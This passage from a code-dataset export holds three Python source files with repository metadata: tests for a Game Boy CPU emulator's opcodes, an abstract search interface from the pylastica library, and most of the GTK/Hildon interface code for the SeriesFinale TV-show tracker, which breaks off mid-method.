1)\n\t\tself.cpu.i_DI(self.cpu)\n\t\tself.assertEquals(self.cpu.cpu.ime, 0)\n\t\t\n\tdef test_i_XXf4(self):\n\t\tpass\n\t\t\n\tdef test_i_PUSH_AF(self):\n\t\tself.SetUp()\n\t\tself.PUSH_XX_test(self.cpu.i_PUSH_AF, 'af')\n\t\t\n\tdef test_i_OR_n(self):\n\t\tself.SetUp()\n\t\timmediate = 0x13\n\t\timmediate2 = 0xab\n\t\tself.cpu['a'] = immediate2\n\t\tself.cpu[self.cpu['pc']+1] = immediate\n\t\tself.cpu.i_OR_n(self.cpu)\n\t\tself.assertEqual(self.cpu['a'], immediate2 | immediate)\t\t\t\n\t\n\tdef test_i_RST_30(self):\n\t\tself.SetUp()\n\t\tself.RST_X_test(self.cpu.i_RST_30, str(int(0x30)))\n\t\t\n\tdef test_i_LDHL_SP_d(self):\n\t\tself.SetUp()\n\t\tcurrentSp = 0x1337\n\t\timmediate = 0x0a\n\t\tself.cpu['sp'] = currentSp\n\t\tself.cpu[self.cpu['pc']+1] = immediate\n\t\tself.cpu.i_LDHL_SP_d(self.cpu)\n\t\tself.assertEqual(self.cpu['hl'], immediate + currentSp)\n\t\timmediate = 0xba\n\t\tself.cpu['sp'] = currentSp\n\t\tself.cpu[self.cpu['pc']+1] = immediate\n\t\tself.cpu.i_LDHL_SP_d(self.cpu)\n\t\tself.assertEqual(self.cpu['hl'], currentSp - ((~immediate + 1) & 255))\n\t\t\n\tdef test_i_LD_SP_HL(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_SP_HL, 'sp', 'hl')\n\t\t\n\tdef test_i_LD_A_nn(self):\n\t\tself.SetUp()\n\t\tself.LD_X_nn_test(self.cpu.i_LD_A__nn_, 'a')\n\t\t\n\tdef test_i_EI(self):\n\t\tself.SetUp()\n\t\tself.cpu.cpu.ime = 0\n\t\tself.cpu.i_EI(self.cpu)\n\t\tself.assertEquals(self.cpu.cpu.ime, 1)\n\t\t\n\tdef test_i_XXfc(self):\n\t\tpass\n\t\t\n\tdef test_i_XXfd(self):\n\t\tpass\n\t\t\n\tdef test_i_CP_n(self):\n\t\tself.SetUp()\n\t\tself.CP_n_test(self.cpu.i_CP_n)\n\t\t\n\tdef test_i_RST_38(self):\n\t\tself.SetUp()\n\t\tself.RST_X_test(self.cpu.i_RST_38, str(int(0x38)))\n\t\t\n\t# secondary opcodes\n\t\n\tdef test_i2_RLC_B(self):\n\t\tself.SetUp()\n\t\tself.RLC_X_test(self.cpu.i2_RLC_B, 'b')\n\t\t\n\tdef test_i2_RLC_C(self):\n\t\tself.SetUp()\n\t\tself.RLC_X_test(self.cpu.i2_RLC_C, 'c')\n\t\t\n\tdef test_i2_RLC_D(self):\n\t\tself.SetUp()\n\t\tself.RLC_X_test(self.cpu.i2_RLC_D, 'd')\n\t\t\n\tdef test_i2_RLC_E(self):\n\t\tself.SetUp()\n\t\tself.RLC_X_test(self.cpu.i2_RLC_E, 'e')\t\n\t\t\n\tdef test_i2_RLC_H(self):\n\t\tself.SetUp()\n\t\tself.RLC_X_test(self.cpu.i2_RLC_H, 'h')\n\t\t\n\tdef test_i2_RLC_L(self):\n\t\tself.SetUp()\n\t\tself.RLC_X_test(self.cpu.i2_RLC_L, 'l')\n\t\t\n\tdef test_i2_RLC_HL_mem(self):\n\t\tself.SetUp()\n\t\tself.RLC_XX_mem_test(self.cpu.i2_RLC__HL_, 'hl')\n\t\n\tdef test_i2_RLC_A(self):\n\t\tself.SetUp()\n\t\tself.RLC_X_test(self.cpu.i2_RLC_A, 'a')\n\t\t\n\tdef test_i2_RRC_B(self):\n\t\tself.SetUp()\n\t\tself.RRC_X_test(self.cpu.i2_RRC_B, 'b')\n\n\tdef test_i2_RRC_C(self):\n\t\tself.SetUp()\n\t\tself.RRC_X_test(self.cpu.i2_RRC_C, 'c')\n\t\t\n\tdef test_i2_RRC_D(self):\n\t\tself.SetUp()\n\t\tself.RRC_X_test(self.cpu.i2_RRC_D, 'd')\n\t\t\n\tdef test_i2_RRC_E(self):\n\t\tself.SetUp()\n\t\tself.RRC_X_test(self.cpu.i2_RRC_E, 'e')\n\t\t\n\tdef test_i2_RRC_H(self):\n\t\tself.SetUp()\n\t\tself.RRC_X_test(self.cpu.i2_RRC_H, 'h')\n\t\t\n\tdef test_i2_RRC_L(self):\n\t\tself.SetUp()\n\t\tself.RRC_X_test(self.cpu.i2_RRC_L, 'l')\n\t\t\n\tdef test_i2_RRC_HL_mem(self):\n\t\tself.SetUp()\n\t\tself.RRC_XX_mem_test(self.cpu.i2_RRC__HL_, 'hl')\n\n\tdef test_i2_RRC_A(self):\n\t\tself.SetUp()\n\t\tself.RRC_X_test(self.cpu.i2_RRC_A, 'a')\n\t\n\tdef test_i2_RL_B(self):\n\t\tself.SetUp()\n\t\tself.RL_X_test(self.cpu.i2_RL_B, 'b')\n\n\tdef test_i2_RL_C(self):\n\t\tself.SetUp()\n\t\tself.RL_X_test(self.cpu.i2_RL_C, 'c')\n\t\t\n\tdef test_i2_RL_D(self):\n\t\tself.SetUp()\n\t\tself.RL_X_test(self.cpu.i2_RL_D, 'd')\n\t\t\n\tdef test_i2_RL_E(self):\n\t\tself.SetUp()\n\t\tself.RL_X_test(self.cpu.i2_RL_E, 'e')\n\t\t\n\tdef test_i2_RL_H(self):\n\t\tself.SetUp()\n\t\tself.RL_X_test(self.cpu.i2_RL_H, 'h')\n\t\t\n\tdef test_i2_RL_L(self):\n\t\tself.SetUp()\n\t\tself.RL_X_test(self.cpu.i2_RL_L, 'l')\n\t\t\n\tdef test_i2_RL_HL_mem(self):\n\t\tself.SetUp()\n\t\tself.RL_XX_mem_test(self.cpu.i2_RL__HL_, 'hl')\n\t\t\n\tdef test_i2_RL_A(self):\n\t\tself.SetUp()\n\t\tself.RL_X_test(self.cpu.i2_RL_A, 'a')\n\t\n\tdef test_i2_RR_B(self):\n\t\tself.SetUp()\n\t\tself.RR_X_test(self.cpu.i2_RR_B, 'b')\n\n\tdef test_i2_RR_C(self):\n\t\tself.SetUp()\n\t\tself.RR_X_test(self.cpu.i2_RR_C, 'c')\n\t\t\n\tdef test_i2_RR_D(self):\n\t\tself.SetUp()\n\t\tself.RR_X_test(self.cpu.i2_RR_D, 'd')\n\t\t\n\tdef test_i2_RR_E(self):\n\t\tself.SetUp()\n\t\tself.RR_X_test(self.cpu.i2_RR_E, 'e')\n\t\t\n\tdef test_i2_RR_H(self):\n\t\tself.SetUp()\n\t\tself.RR_X_test(self.cpu.i2_RR_H, 'h')\n\t\t\n\tdef test_i2_RR_L(self):\n\t\tself.SetUp()\n\t\tself.RR_X_test(self.cpu.i2_RR_L, 'l')\n\t\t\n\tdef test_i2_RR_HL_mem(self):\n\t\tself.SetUp()\n\t\tself.RR_XX_mem_test(self.cpu.i2_RR__HL_, 'hl')\n\t\t\n\tdef test_i2_RR_A(self):\n\t\tself.SetUp()\n\t\tself.RR_X_test(self.cpu.i2_RR_A, 'a')\n\t\n\t\nif __name__==\"__main__\":\n\tprint \"%d/256 primary opcodes tested\" % len(filter(lambda x: x[0:7] == \"test_i_\",dir(TestCPU)))\n\tprint \"%d/256 secondary opcodes tested\" % len(filter(lambda x: x[0:7] == \"test_i2\",dir(TestCPU)))\n\tunittest.main()\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2013,"string":"2,013"}}},{"rowIdx":654,"cells":{"__id__":{"kind":"number","value":19653770346640,"string":"19,653,770,346,640"},"blob_id":{"kind":"string","value":"80336c94aca58550ce9ede2393256d88063b721c"},"directory_id":{"kind":"string","value":"1b8d162160f5ab6d6a6b8940b8ab83b482abb409"},"path":{"kind":"string","value":"/pylastica/searchable.py"},"content_id":{"kind":"string","value":"ca237496f5df3e184eab2b06a9723e33e50df3da"},"detected_licenses":{"kind":"list like","value":["Apache-2.0"],"string":"[\n \"Apache-2.0\"\n]"},"license_type":{"kind":"string","value":"permissive"},"repo_name":{"kind":"string","value":"jlinn/pylastica"},"repo_url":{"kind":"string","value":"https://github.com/jlinn/pylastica"},"snapshot_id":{"kind":"string","value":"f81e438a109dfe06adc7e9b70fdf794c5d01a53f"},"revision_id":{"kind":"string","value":"0fbf68ed3e17d665e3cdf1913444ebf1f72693dd"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-05-19T14:07:38.794717","string":"2020-05-19T14:07:38.794717"},"revision_date":{"kind":"timestamp","value":"2014-07-23T23:43:00","string":"2014-07-23T23:43:00"},"committer_date":{"kind":"timestamp","value":"2014-07-23T23:43:00","string":"2014-07-23T23:43:00"},"github_id":{"kind":"number","value":10442284,"string":"10,442,284"},"star_events_count":{"kind":"number","value":5,"string":"5"},"fork_events_count":{"kind":"number","value":1,"string":"1"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"__author__ = 'Joe Linn'\n\nimport abc\n\nclass Searchable(object):\n __metaclass__ = abc.ABCMeta\n\n @abc.abstractmethod\n def search(self, query=None, options=None):\n \"\"\"\n Searches results for a query\n @param query: dict with all query data or a Query object\n @type query: str or dict or pylastica.query.Query\n @param options:\n @type options: dict\n @return: result set with all results\n @rtype: pylastica.resultset.ResultSet\n \"\"\"\n pass\n\n @abc.abstractmethod\n def count(self, query=None):\n \"\"\"\n Counts results for a query. If no query is set, a MatchAll query is used.\n @param query: dict with all query data or a Query object\n @type query: dict or pylastica.query.Query\n @return: number of docs matching the query\n @rtype: int\n \"\"\"\n pass\n\n @abc.abstractmethod\n def create_search(self, query=None, options=None):\n \"\"\"\n\n @param query:\n @type query: pylastica.query.Query\n @param options:\n @type options: dict\n @return:\n @rtype: pylastica.search.Search\n \"\"\"\n pass\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":655,"cells":{"__id__":{"kind":"number","value":14448270014159,"string":"14,448,270,014,159"},"blob_id":{"kind":"string","value":"2fde40ed99b47db976360d0defd099d7ecd81ee5"},"directory_id":{"kind":"string","value":"95062836885d7a5475f891169619ff9fffb04c15"},"path":{"kind":"string","value":"/src/SeriesFinale/gui.py"},"content_id":{"kind":"string","value":"860fbe58ac9dc040c4e59bcff26646d4d4b80181"},"detected_licenses":{"kind":"list like","value":["GPL-2.0-only","GPL-3.0-or-later","GPL-3.0-only"],"string":"[\n \"GPL-2.0-only\",\n \"GPL-3.0-or-later\",\n \"GPL-3.0-only\"\n]"},"license_type":{"kind":"string","value":"non_permissive"},"repo_name":{"kind":"string","value":"mickeprag/SeriesFinale"},"repo_url":{"kind":"string","value":"https://github.com/mickeprag/SeriesFinale"},"snapshot_id":{"kind":"string","value":"aecf318dab47307acf684ce749275b2ae342e534"},"revision_id":{"kind":"string","value":"002a12aa64510171c76ce31f05ee323c9b49c268"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-15T19:13:47.431443","string":"2021-01-15T19:13:47.431443"},"revision_date":{"kind":"timestamp","value":"2012-04-15T17:49:51","string":"2012-04-15T17:49:51"},"committer_date":{"kind":"timestamp","value":"2012-05-17T22:31:06","string":"2012-05-17T22:31:06"},"github_id":{"kind":"number","value":4494976,"string":"4,494,976"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":1,"string":"1"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"# -*- coding: utf-8 -*-\n\n###########################################################################\n# SeriesFinale\n# Copyright (C) 2009 Joaquim Rocha \n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n###########################################################################\n\nimport hildon\nimport pygtk\npygtk.require('2.0')\nimport gtk\nimport gobject\nimport gettext\nimport locale\nimport pango\nimport os\nimport re\nimport time\nfrom xml.sax import saxutils\nfrom series import SeriesManager, Show, Episode\nfrom lib import constants\nfrom lib.connectionmanager import ConnectionManager\nfrom lib.portrait import FremantleRotation\nfrom lib.util import get_color\nfrom settings import Settings\nfrom asyncworker import AsyncWorker, AsyncItem\nfrom enhancedtreeview import EnhancedTreeView\n\n_ = gettext.gettext\n\ngtk.gdk.threads_init()\n\nclass MainWindow(hildon.StackableWindow):\n\n def __init__(self):\n super(MainWindow, self).__init__()\n\n # i18n\n languages = []\n lc, encoding = locale.getdefaultlocale()\n if lc:\n languages = [lc]\n languages += constants.DEFAULT_LANGUAGES\n gettext.bindtextdomain(constants.SF_COMPACT_NAME,\n constants.LOCALE_DIR)\n gettext.textdomain(constants.SF_COMPACT_NAME)\n language = gettext.translation(constants.SF_COMPACT_NAME,\n constants.LOCALE_DIR,\n languages = languages,\n fallback = True)\n _ = language.gettext\n\n\t# Autorotation\n \tself._rotation_manager = FremantleRotation(constants.SF_COMPACT_NAME,\n self)\n\n self.connection_manager = ConnectionManager()\n self.connection_manager.connect('connection-changed',\n self._on_connection_changed)\n\n self.series_manager = SeriesManager()\n self.settings = Settings()\n hildon.hildon_gtk_window_set_progress_indicator(self, True)\n save_pid = AsyncItem(self.save_current_pid,())\n load_conf_item = AsyncItem(self.settings.load,\n (constants.SF_CONF_FILE,))\n load_shows_item = AsyncItem(self.series_manager.load,\n (constants.SF_DB_FILE,),\n self._load_finished)\n self.series_manager.connect('show-list-changed',\n self._show_list_changed_cb)\n self.series_manager.connect('get-full-show-complete',\n self._get_show_complete_cb)\n self.series_manager.connect('update-show-episodes-complete',\n self._update_show_complete_cb)\n self.series_manager.connect('update-shows-call-complete',\n self._update_all_shows_complete_cb)\n self.series_manager.connect('updated-show-art',\n self._update_show_art)\n\n self.request = AsyncWorker(True)\n self.request.queue.put(save_pid)\n self.request.queue.put(load_conf_item)\n self.request.queue.put(load_shows_item)\n\n old_pid = self.get_previous_pid()\n\n if old_pid:\n show_information(self, _(\"Waiting for previous SeriesFinale to finish....\"))\n gobject.timeout_add(2000,\n self.run_after_pid_finish,\n old_pid, self.request.start)\n else:\n self.request.start()\n\n self.shows_view = ShowsSelectView()\n self.shows_view.connect('row-activated', self._row_activated_cb)\n self.shows_view.connect_after('long-press', self._long_press_cb)\n self.set_title(constants.SF_NAME)\n self.set_app_menu(self._create_menu())\n self.live_search = LiveSearchEntry(self.shows_view.tree_model,\n self.shows_view.tree_filter,\n ShowListStore.SEARCH_COLUMN)\n area = hildon.PannableArea()\n area.add(self.shows_view)\n box = gtk.VBox()\n box.pack_start(area)\n box.pack_end(self.live_search, False, False)\n self.add(box)\n box.show_all()\n self.live_search.hide()\n\n self.connect('delete-event', self._exit_cb)\n self._update_delete_menu_visibility()\n\n self.connect('key-press-event', self._key_press_event_cb)\n\n self._have_deleted = False\n\n def save_current_pid(self):\n pidfile = open(constants.SF_PID_FILE, 'w')\n pidfile.write('%s' % os.getpid())\n pidfile.close()\n\n def get_previous_pid(self):\n if not os.path.isfile(constants.SF_PID_FILE):\n return None\n\n pidfile = open(constants.SF_PID_FILE, 'r')\n pid = pidfile.readline()\n pidfile.close()\n if os.path.exists('/proc/%s' % pid):\n return pid\n else:\n os.remove(constants.SF_PID_FILE)\n return None\n \n def run_after_pid_finish(self, pid, callback):\n if os.path.exists('/proc/%s' % pid):\n return True\n\n callback()\n return False\n\n def _load_finished(self, dummy_arg, error):\n self.shows_view.set_shows(self.series_manager.series_list)\n hildon.hildon_gtk_window_set_progress_indicator(self, False)\n self.request = None\n self._update_delete_menu_visibility()\n self.shows_view.sort()\n self.sort_by_name_filter.set_active(\n self.settings.getConf(Settings.SHOWS_SORT) != \\\n Settings.RECENT_EPISODE)\n self._applyRotation()\n self.series_manager.auto_save(True)\n\n def _create_menu(self):\n menu = hildon.AppMenu()\n\n button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT)\n button.set_label(_('Add shows'))\n button.connect('clicked', self._add_shows_cb)\n menu.append(button)\n\n self.sort_by_ep_filter = hildon.GtkRadioButton(\n gtk.HILDON_SIZE_FINGER_HEIGHT)\n self.sort_by_ep_filter.set_mode(False)\n self.sort_by_ep_filter.set_label(_('Sort by ep. date'))\n menu.add_filter(self.sort_by_ep_filter)\n self.sort_by_name_filter = hildon.GtkRadioButton(\n gtk.HILDON_SIZE_FINGER_HEIGHT,\n group = self.sort_by_ep_filter)\n self.sort_by_name_filter.set_mode(False)\n self.sort_by_name_filter.set_label(_('Sort by name'))\n menu.add_filter(self.sort_by_name_filter)\n self.sort_by_name_filter.set_active(\n self.settings.getConf(Settings.SHOWS_SORT) != \\\n Settings.RECENT_EPISODE)\n self.sort_by_ep_filter.connect('clicked',\n lambda w: self.shows_view.sort_by_recent_date())\n self.sort_by_name_filter.connect('clicked',\n lambda w: self.shows_view.sort_by_name_ascending())\n\n self.delete_menu = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT)\n self.delete_menu.set_label(_('Delete shows'))\n self.delete_menu.connect('clicked', self._delete_shows_cb)\n menu.append(self.delete_menu)\n\n self.update_all_menu = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT)\n self.update_all_menu.set_label(_('Update all'))\n self.update_all_menu.connect('clicked', self._update_all_shows_cb)\n menu.append(self.update_all_menu)\n\n button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT)\n button.set_label(_('Settings'))\n button.connect('clicked', self._settings_menu_clicked_cb)\n menu.append(button)\n\n button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT)\n button.set_label(_('About'))\n button.connect('clicked', self._about_menu_clicked_cb)\n menu.append(button)\n\n menu.show_all()\n return menu\n\n def _add_shows_cb(self, button):\n new_show_dialog = NewShowsDialog(self)\n response = new_show_dialog.run()\n new_show_dialog.destroy()\n if response == NewShowsDialog.ADD_AUTOMATICALLY_RESPONSE:\n self._launch_search_shows_dialog()\n elif response == NewShowsDialog.ADD_MANUALLY_RESPONSE:\n self._new_show_dialog()\n\n def _delete_shows_cb(self, button):\n delete_shows_view = ShowsDeleteView(self.series_manager)\n delete_shows_view.shows_select_view.set_shows(self.series_manager.series_list)\n delete_shows_view.show_all()\n self._have_deleted = True\n\n def _launch_search_shows_dialog(self):\n search_dialog = SearchShowsDialog(self, self.series_manager, self.settings)\n response = search_dialog.run()\n show = None\n if response == gtk.RESPONSE_ACCEPT:\n if search_dialog.chosen_show:\n hildon.hildon_gtk_window_set_progress_indicator(self, True)\n show_information(self,\n _('Gathering show information. Please wait...'))\n if search_dialog.chosen_lang:\n self.series_manager.get_complete_show(search_dialog.chosen_show,\n search_dialog.chosen_lang)\n else:\n self.series_manager.get_complete_show(search_dialog.chosen_show)\n search_dialog.destroy()\n\n def _get_show_complete_cb(self, series_manager, show, error):\n if error:\n error_message = ''\n if 'socket' in str(error).lower():\n error_message = '\\n ' + _('Please verify your internet connection '\n 'is available')\n show_information(self,\n _('An error occurred. %s') % error_message)\n else:\n self.shows_view.set_shows(self.series_manager.series_list)\n self._update_delete_menu_visibility()\n hildon.hildon_gtk_window_set_progress_indicator(self, False)\n\n def _row_activated_cb(self, view, path, column):\n show = self.shows_view.get_show_from_path(path)\n seasons_view = SeasonsView(self.settings, self.series_manager, self.connection_manager, show)\n seasons_view.connect('delete-event',\n lambda w, e:\n self.shows_view.update(show))\n seasons_view.show_all()\n self.live_search.hide()\n\n def _long_press_cb(self, widget, path, column):\n show = self.shows_view.get_show_from_path(path)\n dialog = ShowContextDialog(show, self)\n response = dialog.run()\n dialog.destroy()\n if response == ShowContextDialog.INFO_RESPONSE:\n dialog = ShowInfoDialog(show,\n title = show.name,\n parent = self)\n dialog.run()\n dialog.destroy()\n elif response == ShowContextDialog.DELETE_RESPONSE:\n dialog = gtk.Dialog(title = _('Delete Show'),\n parent = self,\n buttons = (gtk.STOCK_NO, gtk.RESPONSE_NO,\n gtk.STOCK_YES, gtk.RESPONSE_YES))\n label = gtk.Label(_('Are you sure you want to delete '\n 'the show:\\n %(show_name)s' % \\\n {'show_name': show.name}))\n label.show()\n dialog.vbox.add(label)\n response = dialog.run()\n if response == gtk.RESPONSE_YES:\n self.series_manager.delete_show(show)\n dialog.destroy()\n elif response == ShowContextDialog.MARK_NEXT_EPISODE_RESPONSE:\n episodes_info = show.get_episodes_info()\n next_episode = episodes_info['next_episode']\n if next_episode:\n next_episode.watched = True\n next_episode.updated()\n self.shows_view.update(show)\n elif response == ShowContextDialog.UPDATE_RESPONSE:\n hildon.hildon_gtk_window_set_progress_indicator(self, True)\n self.series_manager.update_show_episodes(show)\n\n def _new_show_dialog(self):\n new_show_dialog = NewShowDialog(self)\n response = new_show_dialog.run()\n if response == gtk.RESPONSE_ACCEPT:\n show_info = new_show_dialog.get_info()\n show = Show(show_info['name'])\n show.overview = show_info['overview']\n show.genre = show_info['genre']\n show.network = show_info['network']\n show.rating = show_info['rating']\n show.actors = show_info['actors']\n self.series_manager.add_show(show)\n new_show_dialog.destroy()\n\n def _exit_cb(self, window, event):\n if self.request:\n self.request.stop()\n hildon.hildon_gtk_window_set_progress_indicator(self, True)\n # If the shows list is empty but the user hasn't deleted\n # any, then we don't save in order to avoid overwriting\n # the current db (for the shows list might be empty due\n # to an error)\n if not self.series_manager.series_list and not self._have_deleted:\n gtk.main_quit()\n return\n self.series_manager.auto_save(False)\n\n save_shows_item = AsyncItem(self.series_manager.save,\n (constants.SF_DB_FILE,))\n save_conf_item = AsyncItem(self.settings.save,\n (constants.SF_CONF_FILE,),\n self._save_finished_cb)\n async_worker = AsyncWorker(False)\n async_worker.queue.put(save_shows_item)\n async_worker.queue.put(save_conf_item)\n async_worker.start()\n\n def _save_finished_cb(self, dummy_arg, error):\n hildon.hildon_gtk_window_set_progress_indicator(self, False)\n gtk.main_quit()\n\n def _show_list_changed_cb(self, series_manager):\n self.shows_view.set_shows(self.series_manager.series_list)\n self._update_delete_menu_visibility()\n return False\n\n def _update_delete_menu_visibility(self):\n if not self.series_manager.series_list or self.request:\n self.delete_menu.hide()\n self.update_all_menu.hide()\n else:\n self.delete_menu.show()\n self._on_connection_changed(self.connection_manager)\n\n def _update_all_shows_cb(self, button):\n hildon.hildon_gtk_window_set_progress_indicator(self, True)\n self.request = self.series_manager.update_all_shows_episodes()\n self.set_sensitive(False)\n self._update_delete_menu_visibility()\n\n def _update_all_shows_complete_cb(self, series_manager, show, error):\n self._show_list_changed_cb(self.series_manager)\n if self.request:\n if error:\n show_information(self, _('Please verify your internet connection '\n 'is available'))\n else:\n show_information(self, _('Finished updating the shows'))\n self.request = None\n self.set_sensitive(True)\n self._update_delete_menu_visibility()\n hildon.hildon_gtk_window_set_progress_indicator(self, False)\n\n def _update_show_complete_cb(self, series_manager, show, error):\n show_information(self, _('Updated \"%s\"') % show.name)\n\n def _update_show_art(self, series_manager, show):\n self.shows_view.update_art(show)\n\n def _about_menu_clicked_cb(self, menu):\n about_dialog = AboutDialog(self)\n about_dialog.set_logo(constants.SF_ICON)\n about_dialog.set_name(constants.SF_NAME)\n about_dialog.set_version(constants.SF_VERSION)\n about_dialog.set_comments(constants.SF_DESCRIPTION)\n about_dialog.set_authors(constants.SF_AUTHORS)\n about_dialog.set_copyright(constants.SF_COPYRIGHT)\n about_dialog.set_license(saxutils.escape(constants.SF_LICENSE))\n about_dialog.run()\n about_dialog.destroy()\n\n def _settings_menu_clicked_cb(self, menu):\n settings_dialog = SettingsDialog(self)\n response = settings_dialog.run()\n settings_dialog.destroy()\n if response == gtk.RESPONSE_ACCEPT:\n self._applyRotation()\n\n def _applyRotation(self):\n configured_mode = self.settings.getConf(Settings.SCREEN_ROTATION)\n modes = [self._rotation_manager.AUTOMATIC,\n self._rotation_manager.ALWAYS,\n self._rotation_manager.NEVER]\n self._rotation_manager.set_mode(modes[configured_mode])\n\n def _key_press_event_cb(self, window, event):\n char = gtk.gdk.keyval_to_unicode(event.keyval)\n if self.live_search.is_focus() or char == 0 or not chr(char).strip():\n return\n self.live_search.show()\n\n def _on_connection_changed(self, connection_manager):\n if connection_manager.is_online():\n self.update_all_menu.show()\n else:\n self.update_all_menu.hide()\n\nclass DeleteView(hildon.StackableWindow):\n\n def __init__(self,\n tree_view,\n toolbar_title = _('Delete'),\n button_label = _('Delete')):\n super(DeleteView, self).__init__()\n self.tree_view = tree_view\n hildon.hildon_gtk_tree_view_set_ui_mode(self.tree_view, gtk.HILDON_UI_MODE_EDIT)\n self.tree_view.get_selection().set_mode(gtk.SELECTION_MULTIPLE)\n shows_area = hildon.PannableArea()\n shows_area.add(self.tree_view)\n self.add(shows_area)\n\n self.toolbar = hildon.EditToolbar()\n self.toolbar.set_label(toolbar_title)\n self.toolbar.set_button_label(button_label)\n self.toolbar.connect('arrow-clicked', lambda toolbar: self.destroy())\n self.set_edit_toolbar(self.toolbar)\n\n self.fullscreen()\n\nclass ShowsDeleteView(DeleteView):\n\n def __init__(self, series_manager):\n self.shows_select_view = ShowsSelectView()\n super(ShowsDeleteView, self).__init__(self.shows_select_view,\n _('Delete shows'),\n _('Delete'))\n self.series_manager = series_manager\n self.toolbar.connect('button-clicked',\n self._button_clicked_cb)\n\n def _button_clicked_cb(self, button):\n selection = self.shows_select_view.get_selection()\n selected_rows = selection.get_selected_rows()\n model, paths = selected_rows\n if not paths:\n show_information(self, _('Please select one or more shows'))\n return\n for path in paths:\n self.series_manager.delete_show(model[path][ShowListStore.SHOW_COLUMN])\n self.destroy()\n\nclass ShowsSelectView(EnhancedTreeView):\n\n def __init__(self):\n super(ShowsSelectView, self).__init__()\n self.tree_model = ShowListStore()\n show_image_renderer = gtk.CellRendererPixbuf()\n column = gtk.TreeViewColumn('Image', show_image_renderer,\n pixbuf = ShowListStore.IMAGE_COLUMN)\n self.append_column(column)\n show_renderer = gtk.CellRendererText()\n show_renderer.set_property('ellipsize', pango.ELLIPSIZE_END)\n column = gtk.TreeViewColumn('Name', show_renderer, markup = ShowListStore.INFO_COLUMN)\n self.tree_filter = self.tree_model.filter_new()\n self.set_model(self.tree_filter)\n self.append_column(column)\n\n def set_shows(self, shows):\n self.tree_model.add_shows(shows)\n gobject.idle_add(self.sort)\n\n def get_show_from_path(self, path):\n return self.get_model()[path][ShowListStore.SHOW_COLUMN]\n\n def sort_by_recent_date(self):\n self.tree_model.set_sort_column_id(self.tree_model.NEXT_EPISODE_COLUMN,\n gtk.SORT_ASCENDING)\n Settings().setConf(Settings.SHOWS_SORT, Settings.RECENT_EPISODE)\n\n def sort_by_name_ascending(self):\n self.tree_model.set_sort_column_id(self.tree_model.INFO_COLUMN,\n gtk.SORT_ASCENDING)\n Settings().setConf(Settings.SHOWS_SORT, Settings.ASCENDING_ORDER)\n\n def update(self, show = None):\n if self.tree_model:\n self.tree_model.update(show)\n self.sort()\n\n def update_art(self, show = None):\n if self.tree_model:\n self.tree_model.update_pixmaps(show)\n\n def sort(self):\n shows_sort_order = Settings().getConf(Settings.SHOWS_SORT)\n if shows_sort_order == Settings.RECENT_EPISODE:\n self.sort_by_recent_date()\n else:\n self.sort_by_name_ascending()\n\nclass ShowListStore(gtk.ListStore):\n\n IMAGE_COLUMN = 0\n INFO_COLUMN = 1\n SHOW_COLUMN = 2\n SEARCH_COLUMN = 3\n NEXT_EPISODE_COLUMN = 4\n\n def __init__(self):\n super(ShowListStore, self).__init__(gtk.gdk.Pixbuf, str, gobject.TYPE_PYOBJECT, str, gobject.TYPE_PYOBJECT)\n self.cached_pixbufs = {}\n self.downloading_pixbuf = get_downloading_pixbuf()\n self.set_sort_func(self.NEXT_EPISODE_COLUMN, self._sort_func)\n\n def add_shows(self, shows):\n self.clear()\n for show in shows:\n escaped_name = saxutils.escape(show.name)\n row = {self.IMAGE_COLUMN: self.downloading_pixbuf,\n self.INFO_COLUMN: escaped_name,\n self.SHOW_COLUMN: show,\n self.SEARCH_COLUMN: saxutils.escape(show.name).lower(),\n self.NEXT_EPISODE_COLUMN: None\n }\n self.append(row.values())\n self.update(None)\n self.update_pixmaps()\n\n def update(self, show):\n iter = self.get_iter_first()\n while iter:\n current_show = self.get_value(iter, self.SHOW_COLUMN)\n if show is None or show == current_show:\n self._update_iter(iter)\n iter = self.iter_next(iter)\n\n def _update_iter(self, iter):\n show = self.get_value(iter, self.SHOW_COLUMN)\n info = show.get_episodes_info()\n info_markup = show.get_info_markup(info)\n self.set_value(iter, self.INFO_COLUMN, info_markup)\n self.set_value(iter, 